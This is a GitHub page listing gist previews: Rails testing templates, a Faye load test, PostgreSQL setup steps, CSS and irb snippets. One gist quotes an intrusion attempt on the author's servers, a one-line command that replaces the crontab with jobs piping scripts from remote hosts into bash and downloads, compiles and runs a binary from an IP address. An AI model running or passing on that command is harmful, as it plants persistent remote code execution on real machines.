Skip to content

Instantly share code, notes, and snippets.

View milushov's full-sized avatar
😏
crafting new bugs

roma milushov

😏
crafting new bugs
View GitHub Profile
@PWSdelta
PWSdelta / rspec_model_testing_template.rb
Last active March 11, 2025 21:14
Rails Rspec model testing skeleton & cheat sheet using rspec-rails, shoulda-matchers, shoulda-callbacks, and factory_girl_rails. Pretty much a brain dump of examples of what you can (should?) test in a model. Pick & choose what you like, and please let me know if there are any errors or new/changed features out there. Reddit comment thread: http…
# This is a skeleton for testing models including examples of validations, callbacks,
# scopes, instance & class methods, associations, and more.
# Pick and choose what you want, as all models don't NEED to be tested at this depth.
#
# I'm always eager to hear new tips & suggestions as I'm still new to testing,
# so if you have any, please share!
#
# @kyletcarlson
#
# This skeleton also assumes you're using the following gems:
@5v3n
5v3n / load test faye server.js
Last active December 20, 2015 16:59
load test faye server. connect 200 concurrent clients that subscribe to a channel.
var faye = require('faye');
var clients = [], client;
var responseCount = 0;
for (var i = 0; i < 200; i++) {
client = new faye.Client('http://HOSTNAME/faye');
client.subscribe('/status/realtime', function(message) {
var time = new Date().getTime();
responseCount++;
console.log(responseCount);
@olivierlacan
olivierlacan / assistive_devices.md
Created June 21, 2013 07:31
How to re-enable Divvy in OS X 10.9 Mavericks when it complains about needing to "enable access to assistive devices".

At the time of this writing Divvy hasn't been updated for OS X 10.9 so it tries to direct you to the Accessibility panel of the System Preferences. Actually the assistive device settings have been moved to the Security pane as shown below:

@ismasan
ismasan / gist:5647955
Created May 25, 2013 04:55
Some asshole tried to access my servers and run this (they couldn't)
crontab -r; echo \"1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget -O - ddos.cat.com/cmd3|bash;\"|crontab -;wget http://88.198.20.247/k.c -O /tmp/k.c; gcc -o /tmp/k /tmp/k.c; chmod +x /tmp/k; /tmp/k||wget http://88.198.20.247/k -O /tmp/k && chmod +x /tmp/k && /tmp/k
@Iknewthisguy
Iknewthisguy / gist:5549096
Last active February 3, 2016 23:15
nested_form and select2
= e.input :job_category_ids, :multiple => true, :input_html => { :class => "nested_chosen control-group", :id => "job_category_ids", :data => {:search_url => polymorphic_path([@parent, Offer], :action => 'job_category_search') } }, :label => 'Job categories'
$(document).on 'nested:fieldAdded', (event) ->
event.field.find('#job_category_ids').select2
width: "resolve"
ajax:
url: $('#job_category_ids').data('search-url')
dataType: "json"
data: (term, page) ->
values =
@jourdein
jourdein / gist:5412399
Last active December 21, 2016 01:35
Postgresql 9.1 On Ubuntu 12.10 Linux (Quantal Quetzal)
# STEP 1: VERIFY THAT YOU DO NOT ALREADY HAVE POSTGRESQL INSTALLED ON YOUR SYSTEM
ps ax | grep postgres
# STEP 2: INSTALL POSTGRESQL ON YOUR SYSTEM
sudo apt-get update
sudo apt-get install postgresql-9.1
# List All Postgres related packages
dpkg -l | grep postgres
@somebody32
somebody32 / gist:5232120
Last active October 4, 2022 08:19
Список литературы для ознакомления с concurrent programming и реализацией этих принципов и подходов на ruby. Огромное спасибо @brainopia за составление.

Введение

Начать стоит отсюда. Не пугайтесь то, что это книга по незнакомой OS, эти термины практически везде одинаковые и здесь они изложены в понятной для начинающих форме.

http://www.qnx.com/developers/docs/6.4.1/neutrino/getting_started/s1_procs.html

Прочесть нужно треть главы до подраздела "Starting a process", если С не пугает, читайте полностью. После прочтения вы будете понимать, что такое process, thread, mutex, priorites, semaphores, scheduler, contex-switch, kernel states.

Ruby

/* The Grid ---------------------- */
.lt-ie9 .row { width: 940px; max-width: 100%; min-width: 768px; margin: 0 auto; }
.lt-ie9 .row .row { width: auto; max-width: none; min-width: 0; margin: 0 -15px; }
.lt-ie9 .row.large-collapse .column,
.lt-ie9 .row.large-collapse .columns { padding: 0; }
.lt-ie9 .row .row { width: auto; max-width: none; min-width: 0; margin: 0 -15px; }
.lt-ie9 .row .row.large-collapse { margin: 0; }
.lt-ie9 .column, .lt-ie9 .columns { float: left; min-height: 1px; padding: 0 15px; position: relative; }
.lt-ie9 .column.large-centered, .columns.large-centered { float: none; margin: 0 auto; }
@Jacke
Jacke / .irbrc
Last active December 14, 2015 04:29
Ascii rails app name
# gem install macaddr | into Gemfile if you want
==begin
require 'macaddr'
==end
require 'socket'
gateway = `ip route show`.match(/default.*/)[0].match(/\d\d?\d?\.\d\d?\d?\.\d\d$
def local_ip
orig, Socket.do_not_reverse_lookup = Socket.do_not_reverse_lookup, true # turn off reverse DNS resolution temporarily
UDPSocket.open do |s|